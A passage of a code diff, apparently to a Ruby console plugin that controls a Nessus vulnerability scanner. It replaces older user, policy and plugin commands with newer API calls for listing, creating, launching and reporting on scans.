nessus_report_list") - print_status(" Create a scan: nessus_scan_new <policy id> <scan name> <target(s)>") - return - end - + resp = @n.server_properties tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Scan ID', - 'Name', - 'Owner', - 'Started', - 'Status', - 'Current Hosts', - 'Total Hosts' + 'Feed', + 'Type', + 'Nessus Version', + 'Nessus Web Version', + 'Plugin Set', + 'Server UUID' ]) - - list.each {|scan| - t = Time.at(scan['start'].to_i) - tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] - } - print_good("Running Scans") - print_good "\n" - print_line tbl.to_s - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get <reportid>") - print_good(" Pause a nessus scan : nessus_scan_pause <scanid>") - end - - def cmd_nessus_template_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_template_list") - print_status(" Example:> nessus_template_list") - print_status() - print_status("Returns a list of information about the server templates..") - return - end - - if ! nessus_verify_token - return - end - - list=@n.template_list_hash - - if list.empty? - print_status("No Templates Created.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a template: nessus_template_new <policy id> <scan name> <target(s)>") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Template ID', - 'Policy ID', - 'Name', - 'Owner', - 'Target' - ]) - - list.each {|template| - tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] - } - print_good("Templates") - print_good "\n" - print_line tbl.to_s + "\n" - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get <reportid>") - end - - def cmd_nessus_user_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_list") - print_status(" Example:> nessus_user_list") - print_status() - print_status("Returns a list of the users on the Nessus server and their access level.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_status("Your Nessus user is not an admin") - end - - list=@n.users_list - print_good("There are #{list.length} users") - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Is Admin?', - 'Last Login' - ]) - - list.each {|user| - t = Time.at(user['lastlogin'].to_i) - tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus users") - print_good "\n" + tbl << [ resp["feed"], resp["nessus_type"], resp["server_version"], resp["nessus_ui_version"], resp["loaded_plugin_set"], resp["server_uuid"] ] print_line tbl.to_s end def cmd_nessus_server_status(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_status") - print_status(" Example:> nessus_server_status") + print_status("nessus_server_status") + print_status("Example:> nessus_server_status") print_status() print_status("Returns some status items for the server..") return end - #Auth - if ! nessus_verify_token - return - end - - #Check if we are an admin - if ! @n.is_admin - print_status("You need to be an admin for this.") - return - end - - #Versions - cmd_nessus_server_feed - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Users', - 'Policies', - 'Running Scans', - 'Reports', - 'Plugins' + 'Status', + 'Progress' ]) - #Count how many users the server has. - list=@n.users_list - users = list.length - - #Count how many policies - list=@n.policy_list_hash - policies = list.length - - #Count how many running scans - list=@n.scan_list_uids - scans = list.length - - #Count how many reports are available - list=@n.report_list_hash - reports = list.length - - #Count how many plugins - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - } - plugins = total.sum - tbl << [users, policies, scans, reports, plugins] - print_good "\n" + list = @n.server_status + tbl << [ list["progress"], list["status"] ] print_line tbl.to_s end - def cmd_nessus_plugin_list(*args) - + def cmd_nessus_admin(*args) if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_list") - print_status(" Example:> nessus_plugin_list") + print_status("nessus_admin") + print_status("Example:> nessus_admin") print_status() - print_status("Returns a list of the plugins on the server per family.") + print_status("Checks to see if the current user is an admin") + print_status("Use nessus_user_list to list all users") return end - - if ! nessus_verify_token + if !nessus_verify_token return end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + else + print_good("Your Nessus user is an admin") + end + end + def cmd_nessus_template_list(*args) + if args[0] == "-h" + print_status("nessus_template_list <scan> | <policy>") + print_status("Example:> nessus_template_list scan") + print_status("OR") + print_status("nessus_template_list policy") + print_status() + print_status("Returns a list of information about the scan or policy templates..") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + type = args[0] + else + print_status("Usage: ") + print_status("nessus_template_list <scan> | <policy>") + print_status("Example:> nessus_template_list scan") + print_status("OR") + print_status("nessus_template_list policy") + print_status() + print_status("Returns a list of information about the scan or policy templates..") + return + end + if type.in?(['scan', 'policy']) + list=@n.list_template(type) + else + print_error("Only scan and policy are valid templates") + return + end + if list.empty? + print_status("No templates created") + return + end tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Family Name', - 'Total Plugins' + 'Name', + 'Title', + 'Description', + 'Subscription Only', + 'Cloud Only' ]) - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - tbl << [ plugin['name'], plugin['num'] ] + list["templates"].each { |template| + tbl << [ template["name"], template["title"], template["desc"], template["subscription_only"], template["cloud_only"] ] } - plugins = total.sum - tbl << [ '', ''] - tbl << [ 'Total Plugins', plugins ] - print_good("Plugins By Family") - print_good "\n" + print_line print_line tbl.to_s - print_status("List plugins for a family : nessus_plugin_family <family name>") end - def check_policy(*args) - - case args.length - when 1 - pid = args[0] - else - print_error("No Policy ID supplied.") + def cmd_nessus_folder_list + if !nessus_verify_token return end - - pol = @n.policy_list_hash - pol.each {|p| - if p['id'].to_i == pid - return false - end + list = @n.list_folders + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "ID", + "Name", + "Type" + ]) + list["folders"].each { |folder| + tbl << [ folder["id"], folder["name"], folder["type"] ] } - return true + print_line + print_line tbl.to_s end - def cmd_nessus_scan_new(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_new <policy id> <scan name> <targets>") - print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") - print_status() - print_status("Creates a scan based on a policy id and targets.") - print_status("use nessus_policy_list to list all available policies") + def cmd_nessus_scanner_list + if !nessus_verify_token return end - - if ! nessus_verify_token + if !@n.is_admin return end - - case args.length - when 3 - pid = args[0].to_i - name = args[1] - tgts = args[2] - else - print_status("Usage: ") - print_status(" nessus_scan_new <policy id> <scan name> <targets>") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end + list = @n.list_scanners + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "ID", + "Name", + "Status", + "Platform", + "Plugin Set", + "UUID" + ]) + list.each { |scanner| + tbl << [ scanner["id"], scanner["name"], scanner["status"], scanner["platform"], scanner["loaded_plugin_set"], scanner["uuid"] ] + } + print_line tbl.to_s end - def cmd_nessus_scan_pause(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause <scan id>") - print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Pauses a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - + def check_scan(*args) case args.length when 1 - sid = args[0] + scan_id = args[0] else - print_status("Usage: ") - print_status(" nessus_scan_pause <scan id>") - print_status(" use nessus_scan_status to list all available scans") + print_error("No scan ID supplied") return end - - pause = @n.scan_pause(sid) - - print_status("#{sid} has been paused") - end - - def cmd_nessus_scan_resume(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume <scan id>") - print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("resumes a running scan") - print_status("use nessus_scan_status to list all available scans") - return + scans = @n.scan_list + scans.each { |scan| + if scan["scans"]["id"] == scan_id && scan["scans"]["status"] == "completed" + return true end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_resume <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - resume = @n.scan_resume(sid) - - print_status("#{sid} has been resumed") + } + return false end def cmd_nessus_report_hosts(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_hosts <report id>") - print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") - print_status("use nessus_report_list to list all available scans") + print_status("nessus_report_hosts <scan ID>") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - - if ! nessus_verify_token - return - end - case args.length when 1 - rid = args[0] + scan_id = args[0] + scan_id = scan_id else print_status("Usage: ") - print_status(" nessus_report_hosts <report id>") - print_status(" use nessus_report_list to list all available reports") + print_status("nessus_report_hosts <scan ID>") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Hostname', - 'Severity', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3', - 'Current Progress', - 'Total Progress' + "Host ID", + "Hostname", + "% of Critical Findings", + "% of High Findings", + "% of Medium Findings", + "% of Low Findings" ]) - hosts=@n.report_hosts(rid) - hosts.each {|host| - tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] - } - print_good("Report Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") + if is_scan_complete(scan_id) + details = @n.scan_details(scan_id) + details["hosts"].each { |host| + tbl << [ host["host_id"], host["hostname"], host["critical"], host["high"], host["medium"], host["low"] ] + } + print_line + print_line tbl.to_s + else + print_error("Only completed scans can be used for host reporting") + return + end end def cmd_nessus_report_vulns(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_vulns <report id>") - print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") - print_status("use nessus_report_list to list all available scans") + print_status("nessus_report_vulns <scan ID>") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - - if ! nessus_verify_token - return - end - case args.length when 1 - rid = args[0] + scan_id = args[0] + scan_id = scan_id.to_i else print_status("Usage: ") - print_status(" nessus_report_vulns <report id>") - print_status(" use nessus_report_vulns to list all available reports") + print_status("nessus_report_vulns <scan ID>") + print_status("Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.") return end - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Hostname', - 'Port', - 'Proto', - 'Sev', - 'PluginID', - 'Plugin Name' + "Plugin ID", + "Plugin Name", + "Plugin Family", + "Vulnerability Count" ]) - print_status("Grabbing all vulns for report #{rid}") - hosts=@n.report_hosts(rid) - hosts.each do |host| - ports=@n.report_host_ports(rid, host['hostname']) - ports.each do |port| - details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) - details.each do |detail| - tbl << [host['hostname'], - port['portnum'], - port['protocol'], - detail['severity'], - detail['pluginID'], - detail['pluginName'] - ] - end - end + if is_scan_complete(scan_id) + details = @n.scan_details(scan_id) + details["vulnerabilities"].each { |vuln| + tbl << [ vuln["plugin_id"], vuln["plugin_name"], vuln["plugin_family"], vuln["count"] ] + } + print_line + print_line tbl.to_s + return + else + print_error("Only completed scans can be used for vulnerability reporting") + return end - print_good("Report Info") + end + + def cmd_nessus_report_host_details(*args) + if args[0] == "-h" + print_status("nessus_report_host_details <scan ID> <host ID>") + print_status("Example:> nessus_report_host_details 10 5") + print_status("Use nessus_scan_list to get list of all scans. Only completed scans can be used for reporting.") + print_status("Use nessus_report_hosts to get a list of all the hosts along with their corresponding host IDs.") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + host_id = args[1] + else + print_status("Usage: ") + print_status("nessus_report_host_detail <scan ID> <host ID>") + print_status("Example:> nessus_report_host_detail 10 5") + print_status("Use nessus_scan_list to get list of all scans. Only completed scans can be used for reporting.") + print_status("Use nessus_report_hosts <scan ID> to get a list of all the hosts along with their corresponding host IDs.") + return + end + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin Name', + 'Plugin Famil', + 'Severity' + ]) + details=@n.host_detail(scan_id, host_id) print_line + print_status("Host information") + print_line("IP Address: #{details['info']['host-ip']}") + print_line("Hostname: #{details['info']['host-name']}") + print_line("Operating System: #{details['info']['operating-system']}") + print_line + print_status("Vulnerability information") + details["vulnerabilities"].each { |vuln| + tbl << [ vuln["plugin_name"], vuln["plugin_family"], vuln["severity"] ] + } print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") + tbl2 = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin Name', + 'Plugin Famil', + 'Severity' + ]) + print_status("Compliance information") + details["compliance"].each { |comp| + tbl2 << [ comp["plugin_name"], comp["plugin_family"], comp["severity"] ] + } + print_line tbl2.to_s + end + + def cmd_nessus_report_download(*args) + if args[0] == "-h" + print_status("nessus_scan_report_download <scan_id> <file ID> ") + print_status("Use nessus_scan_export_status <scan ID> <file ID> to check the export status.") + print_status("Use nessus_scan_list -c to list all completed scans along with their corresponding scan IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + file_id = args[1] + if is_scan_complete(scan_id) + report = @n.report_download(scan_id, file_id) + File.open("#{msf_local}/#{scan_id}-#{file_id}","w+") do |f| + f.puts report + print_status("Report downloaded to #{msf_local} directory") + end + else + print_error("Only completed scans ca be downloaded") + end + else + print_status("Usage: ") + print_status("nessus_scan_report_download <scan_id> <file ID> ") + print_status("Use nessus_scan_export_status <scan ID> <file ID> to check the export status.") + print_status("Use nessus_scan_list -c to list all completed scans along with their corresponding scan IDs") + end end def cmd_nessus_report_host_ports(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_ports <hostname> <report id>") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status("nessus_report_host_ports <hostname> <report id>") + print_status("Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") print_status() print_status("Returns all the ports associated with a host and details about their vulnerabilities") - print_status("use nessus_report_hosts to list all available hosts for a report") + print_status("Use nessus_report_hosts to list all available hosts for a report") end - - if ! nessus_verify_token + if !nessus_verify_token return end - case args.length when 2 host = args[0] rid = args[1] else print_status("Usage: ") - print_status(" nessus_report_host_ports <hostname> <report id>") - print_status(" use nessus_report_list to list all available reports") + print_status("nessus_report_host_ports <hostname> <report id>") + print_status("Use nessus_report_list to list all available reports") return end - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ 'Port', @@ -1060,624 +726,954 @@ module Msf 'Sev 3' ]) ports=@n.report_host_ports(rid, host) - ports.each {|port| - tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] + ports.each { |port| + tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] } print_good("Host Info") print_good "\n" print_line tbl.to_s print_status("You can:") - print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail <hostname> <port> <protocol> <report id>") - end - - def cmd_nessus_report_host_detail(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a port for a specific host") - print_status("use nessus_report_host_ports to list all available ports for a host") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 4 - host = args[0] - port = args[1] - prot = args[2] - rid = args[3] - else - print_status("Usage: ") - print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") - print_status(" use nessus_report_host_ports to list all available ports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Severity', - 'PluginID', - 'Plugin Name', - 'CVSS2', - 'Exploit?', - 'CVE', - 'Risk Factor', - 'CVSS Vector' - ]) - details=@n.report_host_port_details(rid, host, port, prot) - details.each {|detail| - tbl << [ - detail['port'], - detail['severity'], - detail['pluginID'], - detail['pluginName'], - detail['cvss_base_score'] || 'none', - detail['exploit_available'] || '.', - detail['cve'] || '.', - detail['risk_factor'] || '.', - detail['cvss_vector'] || '.' - ] - } - print_good("Port Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_scan_pause_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause_all") - print_status(" Example:> nessus_scan_pause_all") - print_status() - print_status("Pauses all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_pause_all - - print_status("All scans have been paused") - end - - def cmd_nessus_scan_stop(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop <scan id>") - print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Stops a currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_stop <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_stop(sid) - - print_status("#{sid} has been stopped") - end - - def cmd_nessus_scan_stop_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop_all") - print_status(" Example:> nessus_scan_stop_all") - print_status() - print_status("stops all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_stop_all - - print_status("All scans have been stopped") - end - - def cmd_nessus_scan_resume_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume_all") - print_status(" Example:> nessus_scan_resume_all") - print_status() - print_status("resumes all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_resume_all - - print_status("All scans have been resumed") - end - - def cmd_nessus_user_add(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_add <username> <password>") - print_status(" Example:> nessus_user_add msf msf") - print_status() - print_status("Only adds non admin users. Must be an admin to add users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_add <username> <password>") - print_status(" Only adds non admin users") - return - end - - u = @n.users_list - u.each { |stuff| - if stuff['name'] == user - print_error("That user exists") - return - end - } - add = @n.user_add(user,pass) - status = add.root.elements['status'].text if add - if status == "OK" - print_good("#{user} has been added") - else - print_error("#{user} was not added") - end - end - - def cmd_nessus_user_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_del <username>") - print_status(" Example:> nessus_user_del msf") - print_status() - print_status("Only dels non admin users. Must be an admin to del users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - user = args[0] - else - print_status("Usage: ") - print_status(" nessus_user_del <username>") - print_status(" Only dels non admin users") - return - end - - del = @n.user_del(user) - status = del.root.elements['status'].text - if status == "OK" - print_good("#{user} has been deleted") - else - print_error("#{user} was not deleted") - end - end - - def cmd_nessus_user_passwd(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_passwd <username> <password>") - print_status(" Example:> nessus_user_passwd msf newpassword") - print_status() - print_status("Changes the password of a user. Must be an admin to change passwords.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_passwd <username> <password>") - print_status(" User list from nessus_user_list") - return - end - - pass = @n.user_pass(user,pass) - status = pass.root.elements['status'].text - if status == "OK" - print_good("#{user}'s password has been changed") - else - print_error("#{user}'s password has not been changed") - end - end - - def cmd_nessus_admin(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_admin") - print_status(" Example:> nessus_admin") - print_status() - print_status("Checks to see if the current user is an admin") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - else - print_good("Your Nessus user is an admin") - end - end - - def cmd_nessus_plugin_family(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_family <plugin family name>") - print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") - print_status() - print_status("Returns a list of all plugins in that family.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - fam = args[0] - else - print_status("Usage: ") - print_status(" nessus_plugin_family <plugin family name>") - print_status(" list all plugins from a Family from nessus_plugin_list") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Plugin ID', - 'Plugin Name', - 'Plugin File Name' - ]) - - family = @n.plugin_family(fam) - - family.each {|plugin| - tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] - } - print_good("#{fam} Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_list") - print_status(" Example:> nessus_policy_list") - print_status() - print_status("Lists all policies on the server") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Comments' - ]) - list=@n.policy_list_hash - list.each {|policy| - tbl << [ policy['id'], policy['name'], policy['comments'] ] - } - print_good("Nessus Policy List") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_del <policy ID>") - print_status(" Example:> nessus_policy_del 1") - print_status() - print_status("Must be an admin to del policies.") - print_status("use nessus_policy_list to list all policies") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - pid = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del <policy ID>") - print_status(" nessus_policy_list to find the id.") - return - end - - - del = @n.policy_del(pid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Policy number #{pid} has been deleted") - else - print_error("Policy number #{pid} was not deleted") - end - - end - - def cmd_nessus_plugin_details(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_details <plugin file name>") - print_status(" Example:> nessus_plugin_details ping_host.nasl ") - print_status() - print_status("Returns details on a particular plugin.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - pname = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del <plugin file name>") - print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - '', - '' - ]) - - entry = @n.plugin_detail(pname) - print_good("Plugin Details for #{entry['name']}") - tbl << [ "Plugin ID", entry['id'] ] - tbl << [ "Plugin Family", entry['family'] ] - tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] - tbl << [ "CVSS Vector", entry['cvss_vector'] ] - tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] - tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] - tbl << [ "Risk Factor", entry['risk_factor'] ] - tbl << [ "Exploit Available", entry['exploit_available'] ] - tbl << [ "Exploitability Ease", entry['exploit_ease'] ] - tbl << [ "Synopsis", entry['synopsis'] ] - tbl << [ "Description", entry['description'] ] - tbl << [ "Solution", entry['solution'] ] - tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] - tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] - print_good "\n" - print_line tbl.to_s + print_status("Get detailed scan infromation about a specfic port: nessus_report_host_detail <hostname> <port> <protocol> <report id>") end def cmd_nessus_report_del(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_del <reportname>") - print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status("nessus_report_del <reportname>") + print_status("Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") print_status() print_status("Must be an admin to del reports.") - print_status("use nessus_report_list to list all reports") + print_status("Use nessus_report_list to list all reports") return end - - if ! nessus_verify_token + if !nessus_verify_token return end - - if ! @n.is_admin + if !@n.is_admin print_error("Your Nessus user is not an admin") return end - case args.length when 1 rid = args[0] else print_status("Usage: ") - print_status(" nessus_report_del <report ID>") - print_status(" nessus_report_list to find the id.") + print_status("nessus_report_del <report ID>") + print_status("nessus_report_list to find the id.") return end - - - del = @n.report_del(rid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Report #{rid} has been deleted") - else - print_error("Report #{rid} was not deleted") - end + del = @n.report_del(rid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Report #{rid} has been deleted") + else + print_error("Report #{rid} was not deleted") end - - def cmd_nessus_server_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_prefs") - print_status(" Example:> nessus_server_prefs") - print_status() - print_status("Returns a long list of server prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value' - ]) - prefs = @n.server_prefs - prefs.each {|pref| - tbl << [ pref['name'], pref['value'] ] - } - print_good("Nessus Server Pref List") - print_good "\n" - print_line tbl.to_s + "\n" - end - def cmd_nessus_plugin_prefs(*args) - + def cmd_nessus_scan_list(*args) if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_prefs") - print_status(" Example:> nessus_plugin_prefs") + print_status("nessus_scan_list") + print_status("Example:> nessus_scan_list") print_status() - print_status("Returns a long list of plugin prefs.") + print_status("Returns a list of information about currently running scans.") return end - - if ! nessus_verify_token + if !nessus_verify_token return end + list=@n.scan_list + if list.to_s.empty? + print_status("No scans performed.") + return + else + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Scan ID', + 'Name', + 'Owner', + 'Started', + 'Status', + 'Folder' + ]) + + list["scans"].each { |scan| + if args[0] == "-r" + if scan["status"] == "running" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + elsif args[0] == "-p" + if scan["status"] == "paused" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + elsif args[0] == "-c" + if scan["status"] == "completed" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + elsif args[0] == "-a" + if scan["status"] == "canceled" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + else + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + } + print_line tbl.to_s + end + end - if ! @n.is_admin + def cmd_nessus_scan_new(*args) + if args[0] == "-h" + print_status("nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>") + print_status("Use nessus_policy_list to list all available policies with their corresponding UUIDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 4 + uuid = args[0] + scan_name = args[1] + description = args[2] + targets = args[3] + else + print_status("Usage: ") + print_status("nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>") + print_status("Use nessus_policy_list to list all available policies with their corresponding UUIDs") + return + end + if valid_policy(uuid) + print_status("Creating scan from policy number #{uuid}, called #{scan_name} - #{description} and scanning #{targets}") + scan = @n.scan_create(uuid, scan_name, description, targets) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Scan ID", + "Scanner ID", + "Policy ID", + "Targets", + "Owner" + ]) + print_status("New scan added") + tbl << [ scan["scan"]["id"], scan["scan"]["scanner_id"], scan["scan"]["policy_id"], scan["scan"]["custom_targets"], scan["scan"]["owner"] ] + print_status("Use nessus_scan_launch #{scan['scan']['id']} to launch the scan") + print_line tbl.to_s + else + print_error("The policy does not exist") + end + end + + def cmd_nessus_scan_launch(*args) + if args[0] == "-h" + print_status("nessus_scan_launch <scan ID>") + print_status("Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs") + end + if !nessus_verify_token + return + end + case args.length + when 1 + scan_id = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_launch <scan ID>") + print_status("Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs") + return + end + launch = @n.scan_launch(scan_id) + print_good("Scan ID #{scan_id} successfully launched. The Scan UUID is #{launch['scan_uuid']}") + end + + def cmd_nessus_scan_pause(*args) + if args[0] == "-h" + print_status("nessus_scan_pause <scan id>") + print_status("Example:> nessus_scan_pause 